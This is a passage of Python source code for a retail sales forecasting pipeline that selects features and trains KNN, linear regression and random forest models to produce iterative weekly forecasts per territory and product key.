print(\"[OUT] random forest feature selection : RF_feature_selection\")\n return rf_feature\n\n\"\"\"\nLasso Regression (L1 regularisation) based feature selection\n\"\"\" \ndef LASSO_feature_selection(lasoFS_X, lasoFS_Y, lasoFS_list):\n print(\"[IN] lasso regression feature selection : LASSO_feature_selection\")\n \n lasoFS_X = pd.DataFrame(lasoFS_X.fillna(0))\n \n #laso_obj = Lasso(alpha=0.5)\n laso_obj = LassoCV(cv=3)\n \n laso_model = SelectFromModel(laso_obj, threshold=0.5)\n \n laso_model.fit(lasoFS_X, lasoFS_Y.values.ravel())\n \n laso_feature = lasoFS_X.columns[(laso_model.get_support())]\n \n n_feature = len(laso_feature)\n \n while n_feature > 15:\n \n laso_model.threshold += 0.05\n laso_feature = lasoFS_X.columns[(laso_model.get_support())]\n n_feature = len(laso_feature)\n\n print(laso_feature)\n print(\"[OUT] lasso regression feature selection : LASSO_feature_selection\")\n return laso_feature\n\n\"\"\"\nRandom Forest regression for time series forecast / prediction\n\"\"\" \n#RFT_trainX, RFT_trainY, RFT_predX, RFT_feature, RFTitr, RFTnbr,histDF_ip=TS_train_X, TS_train_Y, TS_pred_X, featList, ld, 1,histDF\ndef RFtree_TS_forecast(RFT_trainX, RFT_trainY, RFT_predX, RFT_feature, RFTitr, RFTnbr,histDF_ip):\n \n if (RFTitr == 0):\n #start_time_rf_training=time.time()\n # DF for hyperparameter tuning with cross-validation\n RFT_trainCV_X = pd.DataFrame(RFT_trainX)\n RFT_trainCV_Y = pd.DataFrame(RFT_trainY)\n \n # number of trees in random forest\n #n_estimators = [int(x) for x in np.linspace(start = 200, stop = 2000, num = 25)]\n # number of features to consider at every split\n max_features = ['auto', 'sqrt']\n # maximum number of levels in tree\n max_depth = [int(x) for x in np.linspace(10, 110, num = 11)]\n # method of selecting samples for training each tree\n bootstrap = [True, False]\n \n # create the random grid for randomized search\n RFT_RSgrid = {\n #'n_estimators': n_estimators,\n 'max_features': max_features,\n 'max_depth': max_depth,\n 'bootstrap': bootstrap}\n \n # use random grid to search for best hyperparameter range (not using n_jobs)\n RFT_RSmodel = RandomForestRegressor()\n # random search with cross validation\n RFT_randomCV = RandomizedSearchCV(estimator = RFT_RSmodel, \n param_distributions = RFT_RSgrid, \n n_iter = 100, \n cv = 5, verbose=2, random_state=42, n_jobs = -1\n ,scoring = 'neg_median_absolute_error'\n )\n ###########################\n \n # fit random search model with training DF\n RFT_randomCV.fit(RFT_trainCV_X, RFT_trainCV_Y)\n #end_time_rf_hparam_tuning = time.time()\n #duration_rf_hparam_tuning = end_time_rf_hparam_tuning - start_time_rf_training \n \n \n \n \n # optimal / tunned hyperparameter set\n RFTnbr_opt = RFT_randomCV.best_params_\n \n #RFTest_parm = list(RFTnbr_opt.values())[0]\n RFTfeat_parm = list(RFTnbr_opt.values())[0]\n RFTdpth_parm = list(RFTnbr_opt.values())[1]\n RFTboot_parm = list(RFTnbr_opt.values())[2]\n \n #start_time_rf_model_fitting=time.time()\n # random forest regressor instance with tunned hyperparameters\n RFT_model = RandomForestRegressor(\n #n_estimators = 500,\n max_depth = RFTdpth_parm,\n max_features = RFTfeat_parm,\n bootstrap = RFTboot_parm,\n verbose=2, random_state=42, n_jobs = -1)\n \n #cv_out_rf_rs=cross_val_score(RFT_model, RFT_trainCV_X, RFT_trainCV_Y, cv = 5,scoring = 'neg_mean_absolute_error')\n #neg_mean_absolute_error\n #score_rf_test = np.median(cv_out_rf_rs)\n # fit random forest model on training set\n RFT_model.fit(RFT_trainX , RFT_trainY)\n\n \n RFT_feat_imp=pd.DataFrame(RFT_trainX.columns,\n RFT_model.feature_importances_).reset_index().rename(columns={'index':'RF_Feature_Importance',\n 0:'Features_RF'}).loc[:,['Features_RF','RF_Feature_Importance']]\n # predict using model object and prediction DF\n RFT_forecast = RFT_model.predict(RFT_predX)[0]\n \n #import math\n #RFT_forecast=math.ceil(RFT_forecast)\n \n histDF_ip_ss = histDF_ip.loc[:,['territory','KEY','TRDNG_WK_STRT_DT','TRDNG_WK_END_DT','RTL_QTY']]\n histDF_ip_ss['HADS_Prediction_RF'] = [i for i in RFT_model.predict(RFT_trainX)]\n \n print(RFT_forecast)\n \n else:\n ###Control never comes here\n #RFTest_parm = list(RFTnbr.values())[0]\n RFTfeat_parm = list(RFTnbr.values())[0]\n RFTdpth_parm = list(RFTnbr.values())[1]\n RFTboot_parm = list(RFTnbr.values())[2]\n \n # random forest regressor instance with tunned hyperparameters\n RFT_model = RandomForestRegressor(\n #n_estimators = 500,\n max_depth = RFTdpth_parm,\n max_features = RFTfeat_parm,\n bootstrap = RFTboot_parm,\n verbose=2, random_state=42, n_jobs = -1)\n # fit random forest model on training set\n RFT_model.fit(RFT_trainX , RFT_trainY)\n # predict using model object and prediction DF\n RFT_forecast = RFT_model.predict(RFT_predX)[0] \n \n import math\n #RFT_forecast=math.ceil(RFT_forecast)\n \n #if RFT_forecast < 0:\n # RFT_forecast = 0\n \n histDF_ip_ss = histDF_ip.loc[:,['territory','KEY','TRDNG_WK_STRT_DT','TRDNG_WK_END_DT','RTL_QTY']]\n histDF_ip_ss['HADS_Prediction_RF'] = [i for i in RFT_model.predict(RFT_trainX)]\n \n RFTnbr_opt = RFTnbr\n \n print(RFT_forecast)\n\n return RFT_forecast , RFTnbr_opt , RFT_model, histDF_ip_ss,RFT_feat_imp\n\n\"\"\"\nKNN regression for time series forecast / prediction\n\"\"\" \n#KNN_trainX, KNN_trainY, KNN_predX, KNN_feature, KNNitr, Knbr,histDF_ip = TS_train_X, TS_train_Y, TS_pred_X, featList, ld, 1,histDF\n#forecast_val , param_val, model_val, hads_prediction= KNN_TS_forecast(TS_train_X, TS_train_Y, TS_pred_X, featList, ld, 1,histDF)\n#KNN_trainX, KNN_trainY, KNN_predX, KNN_feature, KNNitr, Knbr,histDF_ip = TS_train_X, TS_train_Y, TS_pred_X, featList, ld, 1,histDF\ndef KNN_TS_forecast(KNN_trainX, KNN_trainY, KNN_predX, KNN_feature, KNNitr, Knbr,histDF_ip):\n \n if (KNNitr == 0):\n \n KNN_trainCV_X = KNN_trainX.iloc[:-13,:]\n KNN_trainCV_Y = KNN_trainY.iloc[:-13,:]\n \n KNN_testCV_X = KNN_trainX.tail(13)\n KNN_testCV_Y = KNN_trainY.tail(13)\n \n KNNparam = {'n_neighbors':[2,3,4,5,6,7,8,9,10]}\n \n KNN_CVmodel = neighbors.KNeighborsRegressor()\n \n KNNgrid = GridSearchCV(KNN_CVmodel, KNNparam, cv=5)\n \n KNNgrid.fit(KNN_trainX , KNN_trainY)\n Knbr_opt = list(KNNgrid.best_params_.values())[0]\n \n KNN_model = neighbors.KNeighborsRegressor(n_neighbors = Knbr_opt)\n \n KNN_model.fit(KNN_trainX , KNN_trainY)\n \n #import math\n \n KNN_forecast = KNN_model.predict(KNN_predX)[0][0]\n \n #if KNN_forecast < 0:\n # KNN_forecast = 0\n \n \n #HADS_Prediction=pd.DataFrame(KNN_model.predict(KNN_trainX),columns = ['prediction_hads_knn'])\n #['territory','KEY','TRDNG_WK_STRT_DT','TRDNG_WK_END_DT']\n histDF_ip_ss = histDF_ip.loc[:,['territory','KEY','TRDNG_WK_STRT_DT','TRDNG_WK_END_DT']]\n histDF_ip_ss['HADS_Prediction_KNN'] = KNN_model.predict(KNN_trainX)\n \n \n else:\n \n KNN_model = neighbors.KNeighborsRegressor(n_neighbors = Knbr)\n \n KNN_model.fit(KNN_trainX , KNN_trainY)\n \n KNN_forecast = KNN_model.predict(KNN_predX)[0][0]\n \n #import math\n #KNN_forecast=math.ceil(KNN_forecast)\n \n #if KNN_forecast < 0:\n # KNN_forecast = 0\n \n \n histDF_ip_ss = histDF_ip.loc[:,['territory','KEY','TRDNG_WK_STRT_DT','TRDNG_WK_END_DT']]\n histDF_ip_ss['HADS_Prediction_KNN'] = KNN_model.predict(KNN_trainX)\n \n Knbr_opt = Knbr\n\n return KNN_forecast , Knbr_opt , KNN_model, histDF_ip_ss\n\n\"\"\"\nStepwise regression for time series forecast / prediction\n\"\"\" \n#LR_trainX, LR_trainY, LR_predX, LR_feature, LRitr,histDF_ip = TS_train_X, TS_train_Y, TS_pred_X, featList, ld,histDF\ndef LREG_TS_forecast(LR_trainX, LR_trainY, LR_predX, LR_feature, LRitr,histDF_ip):\n \n if (LRitr == 0):\n \n LRmodel = LinearRegression()\n \n LRmodel.fit(LR_trainX, LR_trainY)\n \n #Getting Model coefficients####\n cdf = pd.DataFrame(LRmodel.coef_[0], \n [LR_trainX.columns.tolist()], \n columns=['LREG_New_Coefficients']).reset_index().rename(columns={'level_0':'Columns'})\n int_ = pd.DataFrame(LRmodel.intercept_[0],['Intercept'],\n columns=['LREG_New_Coefficients']).reset_index().rename(columns = {'index':'Columns'})\n \n cdf_all=cdf.append(int_)\n \n \n LR_forecast = LRmodel.predict(LR_predX)[0][0]\n \n #import math\n \n #LR_forecast=math.ceil(LR_forecast)\n \n #if LR_forecast < 0:\n # LR_forecast = 0\n \n histDF_ip_ss = histDF_ip.loc[:,['territory','KEY','TRDNG_WK_STRT_DT','TRDNG_WK_END_DT']]\n histDF_ip_ss['HADS_Prediction_LREG'] = LRmodel.predict(LR_trainX)\n \n else:\n \n LRmodel = LinearRegression()\n \n LRmodel.fit(LR_trainX, LR_trainY)\n \n LR_forecast = LRmodel.predict(LR_predX)[0][0]\n \n #LR_forecast=math.ceil(LR_forecast)\n \n #if LR_forecast < 0:\n # LR_forecast = 0\n \n histDF_ip_ss = histDF_ip.loc[:,['territory','KEY','TRDNG_WK_STRT_DT','TRDNG_WK_END_DT']]\n \n histDF_ip_ss['HADS_Prediction_LREG'] = LRmodel.predict(LR_trainX)\n\n return LR_forecast , LRmodel, histDF_ip_ss,cdf_all\n\n\"\"\"\ndoes forecast for a selected method one row at a time (ie. iterative)\n\"\"\" \n#histDF, leadDF, leadWK, featList, modelNM,params_feat_input,primary_key = hist_df, lead_df, params_feat_input[4], feature_list_final, 'LREG',params_feat_input,primary_key\ndef forecast_iteration(histDF, leadDF, leadWK, featList, modelNM,params_feat_input,primary_key):\n \n DF_pred_fcst = pd.DataFrame()\n \n \n for ld in range(leadWK):\n \n if (ld == 0):\n histDF_new = histDF.append(leadDF[(leadDF['ROW_NUM'] == ld)].drop('ROW_NUM',1)).sort_values(by=['TRDNG_WK_END_DT'])\n fcst_df_itr = pd.DataFrame(histDF_new)\n \n fcst_df_itr = ts_lag_features(fcst_df_itr, params_feat_input[2],primary_key)\n fcst_df_itr = lag_stat_features(fcst_df_itr, params_feat_input[2],primary_key)\n #fcst_df_itr = bng_band_features(fcst_df_itr, lag)\n \n fcst_df_itr = fcst_df_itr.drop(['level_0','index'],1)\n ##Missing Value treatment to be done\n \n non_char_cols = fcst_df_itr.select_dtypes(['int64','int32','float64','float32']).columns\n char_cols = fcst_df_itr.select_dtypes(['object','datetime64[ns]']).columns\n \n \n #non_char_cols = pd.concat()\n fcst_df_itr_num=fcst_df_itr.loc[:,[i for i in fcst_df_itr.columns if i in non_char_cols]]\n \n ###Using Polynomial order 2 interpolation\n #astype(float)\n #fcst_df_itr.select_dtypes(['object']).columns\n fcst_df_itr_num = fcst_df_itr_num.interpolate(method = 'linear',axis=0,limit_direction = 'both')\n \n fcst_df_itr=pd.concat([fcst_df_itr_num,fcst_df_itr.loc[:,char_cols]],axis=1)\n \n # get all columns needed for TS iterative lead period forecast\n model_features = list(primary_key) + list(['RTL_QTY']) + list(featList)\n \n # subset forecast DF for columns required for modelling\n #Editing the column filters due to error\n fcst_df_itr = fcst_df_itr.loc[:,[i for i in model_features if i in fcst_df_itr.columns or i in primary_key]]\n fcst_df_itr = pd.DataFrame(fcst_df_itr)\n \n # create training and prediction DF\n # only 1 row would be predicted in each iteration\n TS_train_DF = pd.DataFrame(fcst_df_itr.iloc[:-1,:])\n TS_pred_DF = pd.DataFrame(fcst_df_itr.tail(1))\n \n # create _X (feature set) & _Y (target set) for Train DF\n TS_train_Y = TS_train_DF.loc[-TS_train_DF.isnull().any(axis=1),['RTL_QTY']]\n #Editing the column filters due to error\n TS_train_X = TS_train_DF.loc[-TS_train_DF.isnull().any(axis=1), [i for i in featList if i in TS_train_DF.columns]]\n \n print(TS_train_Y.shape)\n print(TS_train_X.columns)\n # get feature type ie. categorical | continuous | constant\n catgFS_new , contdFS_new , cnstFS_new = get_feature_type(TS_train_X)\n \n # standardizing training DF & prediction DF\n TSscaler = StandardScaler()\n if(len(contdFS_new)>0):\n TSscaler.fit(TS_train_X.loc[:,contdFS_new])\n # use scaler object to transform train and pred data for standardization\n TS_train_X1 = TSscaler.transform(TS_train_X.loc[:,contdFS_new])\n TS_train_X1 = pd.DataFrame(TS_train_X1 , columns = TS_train_X.loc[:,contdFS_new].columns)\n TS_train_X = pd.merge(TS_train_X1.reset_index(drop=True) , TS_train_X.loc[:,catgFS_new].reset_index(drop=True) , how='inner' , left_index = True , right_index = True)\n print(TS_train_X.columns)\n # transform dataframe into numpy ndarray\n #TS_train_X = TS_train_X.as_matrix()\n # use scaler object to transform pred data for standardization\n TS_pred_X1 = TSscaler.transform(TS_pred_DF.loc[:,contdFS_new])\n TS_pred_X1 = pd.DataFrame(TS_pred_X1 , columns = TS_pred_DF.loc[:,contdFS_new].columns)\n TS_pred_X = pd.merge(TS_pred_X1.reset_index(drop=True) , TS_pred_DF.loc[:,catgFS_new].reset_index(drop=True) , how='inner' , left_index = True , right_index = True)\n print(TS_pred_X.columns)\n #chk = 1\n else:\n #chk = 2\n TS_train_X =TS_train_X.loc[:,catgFS_new].reset_index(drop=True)\n TS_pred_X = TS_pred_DF.loc[:,catgFS_new]\n # transform dataframe into numpy ndarray\n #TS_pred_X = TS_pred_X.as_matrix()\n \n forecast_val = (modelNM + '_fcst')\n param_val = (modelNM + 'param')\n model_val = (modelNM + 'model')\n \n if (modelNM == 'KNN'): \n # using KNN for time series forecast / prediction\n cdf_all = 'KNN_All'\n forecast_val , param_val, model_val, hads_prediction= KNN_TS_forecast(TS_train_X, TS_train_Y, TS_pred_X, featList, ld, 1,histDF)\n histDF_new.iloc[-1 , histDF_new.columns.get_loc('RTL_QTY')] = forecast_val\n \n elif (modelNM == 'LREG'): \n # using Linear Regression for time series forecast / prediction\n forecast_val , model_val, hads_prediction, cdf_all = LREG_TS_forecast(TS_train_X, TS_train_Y, TS_pred_X, featList, ld,histDF)\n histDF_new.iloc[-1 , histDF_new.columns.get_loc('RTL_QTY')] = forecast_val\n \n elif (modelNM == 'RFT'):\n #cdf_all = 'All'\n # using Random Forest for time series forecast / prediction\n forecast_val , param_val, model_val, hads_prediction,cdf_all = RFtree_TS_forecast(TS_train_X, TS_train_Y, TS_pred_X, featList, ld, 1,histDF)\n histDF_new.iloc[-1 , histDF_new.columns.get_loc('RTL_QTY')] = forecast_val\n \n else:\n print('awaiting new forecast method')\n \n fcst_col1 = (modelNM + '_FCST')\n fcst_col2 = (modelNM + '_FLG')\n \n TS_pred_DF = TS_pred_DF.loc[:,primary_key]\n TS_pred_DF[fcst_col1] = forecast_val\n TS_pred_DF[fcst_col2] = 1\n DF_pred_fcst = DF_pred_fcst.append(TS_pred_DF)\n #Time logging\n\n \n else:\n \n histDF_new = histDF_new.append(leadDF[(leadDF['ROW_NUM'] == ld)].drop('ROW_NUM',1)).sort_values(by=['TRDNG_WK_END_DT'])\n fcst_df_itr = pd.DataFrame(histDF_new)\n \n fcst_df_itr = ts_lag_features(fcst_df_itr,params_feat_input[2] ,primary_key)\n fcst_df_itr = lag_stat_features(fcst_df_itr, params_feat_input[2],primary_key)\n #fcst_df_itr = bng_band_features(fcst_df_itr, lag)\n \n fcst_df_itr = fcst_df_itr.drop(['level_0','index'],1)\n \n # subset forecast DF for columns required for modelling\n fcst_df_itr = fcst_df_itr.loc[:,[i for i in model_features if i in fcst_df_itr.columns]]\n \n # create training and prediction DF\n # only 1 row would be predicted in each iteration\n TS_train_DF = pd.DataFrame(fcst_df_itr.iloc[:-1,:])\n TS_pred_DF = pd.DataFrame(fcst_df_itr.tail(1))\n \n # use scaler object to transform pred data for standardization\n ###\n #This part is throwing error\n if len(contdFS_new)>0:\n #chk1=3\n TS_pred_X1 = TSscaler.transform(TS_pred_DF.loc[:,contdFS_new])\n TS_pred_X1 = pd.DataFrame(TS_pred_X1 , columns = TS_pred_DF.loc[:,contdFS_new].columns)\n TS_pred_X = pd.merge(TS_pred_X1.reset_index(drop=True) , TS_pred_DF.loc[:,catgFS_new].reset_index(drop=True) , how='inner' , left_index = True , right_index = True)\n else:\n #chk1 = 4\n TS_pred_X=TS_pred_DF.loc[:,catgFS_new].reset_index(drop=True)\n \n \n if (modelNM == 'KNN'): \n # using KNN for time series forecast / prediction\n forecast_val = model_val.predict(TS_pred_X)[0][0]\n histDF_new.iloc[-1 , histDF_new.columns.get_loc('RTL_QTY')] = forecast_val\n \n elif (modelNM == 'LREG'): \n # using Linear Regression for time series forecast / prediction\n forecast_val = model_val.predict(TS_pred_X)[0][0]\n \n histDF_new.iloc[-1 , histDF_new.columns.get_loc('RTL_QTY')] = forecast_val\n \n elif (modelNM == 'RFT'):\n \n forecast_val = model_val.predict(TS_pred_X)[0]\n \n histDF_new.iloc[-1 , histDF_new.columns.get_loc('RTL_QTY')] = forecast_val\n \n else:\n print('awaiting new forecast method')\n \n fcst_col1 = (modelNM + '_FCST')\n fcst_col2 = (modelNM + '_FLG')\n \n TS_pred_DF = TS_pred_DF.loc[:,primary_key]\n TS_pred_DF[fcst_col1] = forecast_val\n TS_pred_DF[fcst_col2] = 1\n DF_pred_fcst = DF_pred_fcst.append(TS_pred_DF)\n #end_time_fcst_iter = time.time()\n \n \n return DF_pred_fcst,hads_prediction, param_val, cdf_all\n\n\n\"\"\"\nforecast engine\n\"\"\" \n\ndef clean_forecast(df):\n forecast_cols = ['KNN','LREG_NEW','RFT']\n df_cpy=df.copy()\n df.fillna(0,inplace=True)\n for i in forecast_cols:\n #df[i+'_FCST'] = df[i+'_FCST'].apply(lambda x: np.ceil(x))\n df[i+'_FLG'] = df[i+'_FCST'].apply(lambda x : 0 if x <= 0 else 1)\n df[i+'_FCST'] = df[i+'_FCST'].apply(lambda x: 0 if x < 0 else x) \n return df\n\n\n#fcst_hads, fcst_lads, primary_key, product_hrchy, binary_lag_var, continuous_lag_var, binary_no_lag_var, key_feature, params_feat_input = hads, lads, primary_key, product_hrchy, binary_lag_var, continuous_lag_var, binary_no_lag_var, key_feature, params_feat_input\n\ndef ML_forecast_engine(fcst_hads, fcst_lads, primary_key, product_hrchy, binary_lag_var, continuous_lag_var, binary_no_lag_var, key_feature, params_feat_input):\n ##global time_log\n #time_log = pd.DataFrame()\n terr_list = fcst_hads['territory'].unique()\n \n DF_opt_feature = pd.DataFrame()\n final_forecastDF = pd.DataFrame()\n overall_hads_jar = pd.DataFrame()\n error_terr_key = pd.DataFrame()\n Overall_op = pd.DataFrame()\n \n \n for terr in terr_list:\n hist_df_temp = fcst_hads[(fcst_hads['territory'] == terr)]\n var_list_temp = primary_key + product_hrchy + ['RTL_QTY']\n var_list_temp = list(set(var_list_temp))\n hist_df_temp = hist_df_temp.loc[:,var_list_temp]\n \n MonthSSNid = season_index_features(hist_df_temp)\n key_list = fcst_hads[(fcst_hads['territory'] == terr)]['KEY'].unique()\n \n for key in key_list:\n print(terr + \" - \" + key)\n hist_df = fcst_hads[(fcst_hads['territory'] == terr) & (fcst_hads['KEY'] == key)]\n \n try:\n lead_df = fcst_lads[(fcst_lads['territory'] == terr) & (fcst_lads['KEY'] == key)]\n if (len(hist_df.index) >= params_feat_input[3]) & (len(lead_df.index) == params_feat_input[4]) & (hist_df['RTL_QTY'].nunique() > 1):\n model_run = 1\n st_overall = time.time()\n #logging.info(f'{terr} - {key} - has started')\n var_list_temp = primary_key + product_hrchy + ['RTL_QTY'] + binary_lag_var + continuous_lag_var + binary_no_lag_var\n var_list_temp = list(set(var_list_temp))\n #len(var_list_temp) \n hist_df_temp = hist_df.loc[:,[i for i in var_list_temp if i in hist_df.columns]].reset_index()\n #Editing the filteration\n lead_df_temp = lead_df.loc[:, [i for i in var_list_temp if i in lead_df.columns]].reset_index()\n hist_df_temp['ADS_FLG'] = 'H'\n lead_df_temp['ADS_FLG'] = 'L'\n df_temp = hist_df_temp.append(lead_df_temp).reset_index().sort_values(by=['TRDNG_WK_END_DT'])\n #df_temp = df_temp.interpolate(method = 'polynomial',order=2,limit=60,axis=0,limit_direction = 'both')\n df_temp = df_temp.fillna(0)\n df_temp['TRDNG_WK_STRT_DT'] = pd.to_datetime(df_temp['TRDNG_WK_STRT_DT'],format='%d%b%Y')\n df_temp['TRDNG_WK_END_DT'] = pd.to_datetime(df_temp['TRDNG_WK_END_DT'],format='%d%b%Y')\n df_temp['YEAR_ID'] = df_temp['TRDNG_WK_STRT_DT'].dt.year\n df_temp['MONTH_ID'] = df_temp['TRDNG_WK_STRT_DT'].dt.month\n df_temp['MON_WK_ID'] = 1\n df_temp['MON_WK_ID'] = df_temp.groupby(['territory','KEY','YEAR_ID','MONTH_ID'])['MON_WK_ID'].apply(lambda x: x.cumsum())\n df_temp = pd.merge(df_temp, MonthSSNid, on=['GRP_NM','DPT_NM','CLSS_NM','SUB_CLSS_NM','MONTH_ID'], how='left')\n st = time.time()\n df_temp = days_since_last_event(df_temp, binary_lag_var,primary_key) \n df_temp = binary_lag_features(df_temp, binary_lag_var,primary_key)\n df_temp = continuous_lag_features(df_temp, continuous_lag_var, params_feat_input[0],primary_key)\n df_temp = fourier_term_features(df_temp, params_feat_input[1],primary_key)\n \n \n hist_df = df_temp[(df_temp['ADS_FLG'] == 'H')].drop('ADS_FLG',1).sort_values(by=['TRDNG_WK_END_DT'])\n lead_df = df_temp[(df_temp['ADS_FLG'] == 'L')].drop('ADS_FLG',1).sort_values(by=['TRDNG_WK_END_DT'])\n lead_df['ROW_NUM'] = range(lead_df.shape[0])\n # replace HADS & LADS numeric missing cases with 0\n num_colNA = hist_df.select_dtypes(['int64','int32','float64','float32']).columns\n hist_df[num_colNA] = hist_df[num_colNA].fillna(0 , inplace=False)\n lead_df[num_colNA] = lead_df[num_colNA].fillna(0 , inplace=False)\n # data preparation for forecast selection. sort HIST_DF\n histFS_DF = hist_df.sort_values(by=['TRDNG_WK_END_DT'])\n # create features using time series lag terms\n histFS_DF = ts_lag_features(histFS_DF, params_feat_input[2],primary_key)\n # create features using time series lag term stats (min / max / avg)\n histFS_DF = lag_stat_features(histFS_DF, params_feat_input[2],primary_key)\n # create bollinger band features\n #histFS_DF = bng_band_features(histFS_DF, lag)\n \n \n \n # drop redundant auto python columns suchas level / index etc.\n histFS_DF = histFS_DF.drop(['level_0','index'],1)\n \n # feature list without primary keys and other support columns\n all_var_list = list(set(histFS_DF.columns.values) - set(primary_key) - set(product_hrchy) - set(['RTL_QTY']))\n \n # create feature set and target set for feature selection process\n impFS_df = histFS_DF[0:len(hist_df.index)]\n \n # get feature type ie. categorical | continuous | constant\n catgFS , contdFS , cnstFS = get_feature_type(impFS_df.loc[:,all_var_list])\n \n #do not eliminate records, but interpolate as this leads to missing out on important\n #records\n #impFS_Y = impFS_df.loc[-impFS_df.isnull().any(axis=1),['RTL_QTY']]\n impFS_Y=impFS_df.fillna(method='backfill')['RTL_QTY']\n #impFS_X = impFS_df.loc[-impFS_df.isnull().any(axis=1),all_var_list]\n impFS_X=impFS_df.fillna(method='backfill')[all_var_list]\n \n # standardized DF (only continuous features) for feature selection process\n FSscaler = StandardScaler()\n \n if len(contdFS)>0:\n FSscaler.fit(impFS_X.loc[:,contdFS])\n # transform feature set DF (only continuous features) based on scaler model object\n impFS_XS = FSscaler.transform(impFS_X.loc[:,contdFS])\n impFS_X1 = pd.DataFrame(impFS_XS , columns = impFS_X.loc[:,contdFS].columns)\n # merge DF with categorical and continuous features\n impFS_X = pd.merge(impFS_X1.reset_index(drop=True) , impFS_X.loc[:,catgFS].reset_index(drop=True) , how='inner' , left_index = True , right_index = True)\n else:\n impFS_X = impFS_X.loc[:,catgFS].reset_index(drop=True)\n \n impFS_Y = pd.DataFrame(impFS_Y).reset_index(drop=True)\n \n et = time.time()\n logging.info(f'{terr} - {key} - Days since, Lag Stats before feature selection - {et-st} seconds')\n \n # select features with high pearson correlation coeff\n \n st=time.time()\n CORR_feature_list = CORR_feature_selection(impFS_X, impFS_Y, all_var_list)\n et=time.time()\n logging.info(f'{terr} - {key} - Correlation function - {et-st} seconds')\n \n # subset data for selected features in previous step\n impFS_X = impFS_X.loc[:,CORR_feature_list] \n print(impFS_X.shape)\n \n # select features using Random Forest regression\n \n st = time.time()\n RF_feature_list = RF_feature_selection(impFS_X, impFS_Y, CORR_feature_list)\n et=time.time()\n logging.info(f'{terr} - {key} - Random Forest feature selection - {et-st} seconds')\n \n # select features using Lasso regression\n st = time.time()\n LASSO_feature_list = LASSO_feature_selection(impFS_X, impFS_Y, RF_feature_list)\n et = time.time()\n logging.info(f'{terr} - {key} - LASSO feature selection - {et-st} seconds')\n \n # union selected features with manually defined key features\n feature_list_final = list(LASSO_feature_list) + list(key_feature)\n feature_list_final = list(set(feature_list_final))\n \n impFS_X = impFS_X.loc[:,[i for i in feature_list_final if i in impFS_X.columns]]\n \n print(impFS_X.shape)\n # save selected features for each territory-key pair in a DF\n DF_feature = pd.DataFrame(feature_list_final, columns=['KEY_FEATURE'])\n DF_feature['territory'] = terr\n DF_feature['KEY'] = key \n \n \n \n \n # lead DF instance for current terriotry-key\n TStemp_fcst = pd.DataFrame(lead_df.loc[:,primary_key])\n \n # using KNN for time series prediction (forecast)\n #The below code outputs the lads prediction values, \n #we need to output the hads instances as well\n \n ############################RUNNING KNN MODEL#############################\n st = time.time()\n KNNpred_fcst,hads_prediction_knn, param_val_knn, Feat_imp_KNN = forecast_iteration(hist_df, lead_df, params_feat_input[4], feature_list_final, 'KNN',params_feat_input,primary_key)\n et = time.time()\n logging.info(f'{terr} - {key} - KNN Model Training and Prediction - {et-st} seconds')\n \n # join KNN forecast values with lead DF\n TStemp_fcst = pd.merge(TStemp_fcst, KNNpred_fcst, on=primary_key, how='left')\n \n ###########################RUNNING LINEAR REGRESSION######################\n # using Linear Regression (LREG) for time series prediction (forecast)\n st = time.time()\n LRpred_fcst,hads_prediction_lreg, param_val_lreg_new, Feat_imp_LREG = forecast_iteration(hist_df, lead_df, params_feat_input[4], feature_list_final, 'LREG',params_feat_input,primary_key)\n et = time.time()\n logging.info(f'{terr} - {key} - LREG NEW Model Training and Prediction - {et-st} seconds')\n \n # join LREG forecast values with lead DF\n TStemp_fcst = pd.merge(TStemp_fcst, LRpred_fcst, on=primary_key, how='left')\n \n ###########################RUNNING RANDOM FOREST MODEL####################\n # using RF (Random Forest ) for time series prediction (forecast) \n \n st = time.time()\n RFTpred_fcst, hads_prediction_rf, param_val_rf, Feat_imp_RF = forecast_iteration(hist_df, lead_df, params_feat_input[4], feature_list_final, 'RFT',params_feat_input,primary_key) \n et = time.time()\n logging.info(f'{terr} - {key} - RFT Model Training and Prediction - {et-st} seconds')\n \n # join LREG forecast values with lead DF\n #Random Forest\n TStemp_fcst = pd.merge(TStemp_fcst, RFTpred_fcst, on=primary_key, how='left')\n \n # append current output to final output DF\n final_forecastDF = final_forecastDF.append(TStemp_fcst)\n overall_hads=pd.merge(pd.merge(hads_prediction_knn,hads_prediction_lreg,on = ['territory', 'KEY', 'TRDNG_WK_STRT_DT', 'TRDNG_WK_END_DT'],how = 'left'),hads_prediction_rf,on = ['territory', 'KEY', 'TRDNG_WK_STRT_DT', 'TRDNG_WK_END_DT'],how = 'left')\n overall_hads_jar=overall_hads_jar.append(overall_hads)\n \n ####ADD CODE OF ALL THE FEATURE IMPORTANCES HERE\n \n DF_feature_imps=pd.merge(pd.merge(DF_feature,\n Feat_imp_LREG,how='outer',\n left_on=['KEY_FEATURE'],right_on=['Columns']),Feat_imp_RF,left_on = ['KEY_FEATURE'],\n right_on=['Features_RF'],how='outer')\n \n DF_feature_imps=DF_feature_imps.rename(columns = {'Columns':'Features_LREG'})\n \n DF_feature_imps['territory']=np.where(DF_feature_imps['territory'].isnull(),terr,DF_feature_imps['territory'])\n DF_feature_imps['KEY']=np.where(DF_feature_imps['KEY'].isnull(),key,DF_feature_imps['KEY'])\n \n #####ADDING THE HYPERPARAMETERSS####\n DF_feature_imps['KNN_Neighbours'] = param_val_knn\n DF_feature_imps['RF_max_features'] = param_val_rf['max_features']\n DF_feature_imps['RF_max_depth'] = param_val_rf['max_depth']\n DF_feature_imps['RF_bootstrap'] = param_val_rf['bootstrap']\n \n \n \n # append final shortlisted features in a DF\n DF_opt_feature = DF_opt_feature.append(DF_feature_imps)\n \n final_forecastDF['TIME_FRAME'] = 'Lead Period'\n overall_hads_jar['TIME_FRAME'] = 'Hist Period'\n overall_hads_jar=overall_hads_jar.rename(columns={'HADS_Prediction_KNN':'KNN_FCST','HADS_Prediction_LREG':'LREG_FCST','HADS_Prediction_RF':'RFT_FCST'})\n overall_hads_jar=overall_hads_jar.drop('RTL_QTY',axis=1)\n Final_df = final_forecastDF.append(overall_hads_jar)\n \n Final_df = Final_df.rename(columns = {'LREG_FCST':'LREG_NEW_FCST','LREG_FLG':'LREG_NEW_FLG'})\n Final_df = clean_forecast(Final_df)\n Final_df = Final_df.loc[:,['territory','KEY','TRDNG_WK_END_DT','TIME_FRAME','KNN_FCST','KNN_FLG','LREG_NEW_FCST','LREG_NEW_FLG','RFT_FCST','RFT_FLG']]\n Overall_op = Overall_op.append(Final_df)\n et_overall = time.time()\n \n logging.info(f'{terr} - {key} - Overall Time Taken - {et_overall-st_overall} seconds')\n \n else:\n model_run=0\n # lead DF instance for current terriotry-key\n TStemp_fcst = pd.DataFrame(lead_df.loc[:,primary_key])\n TStemp_fcst = 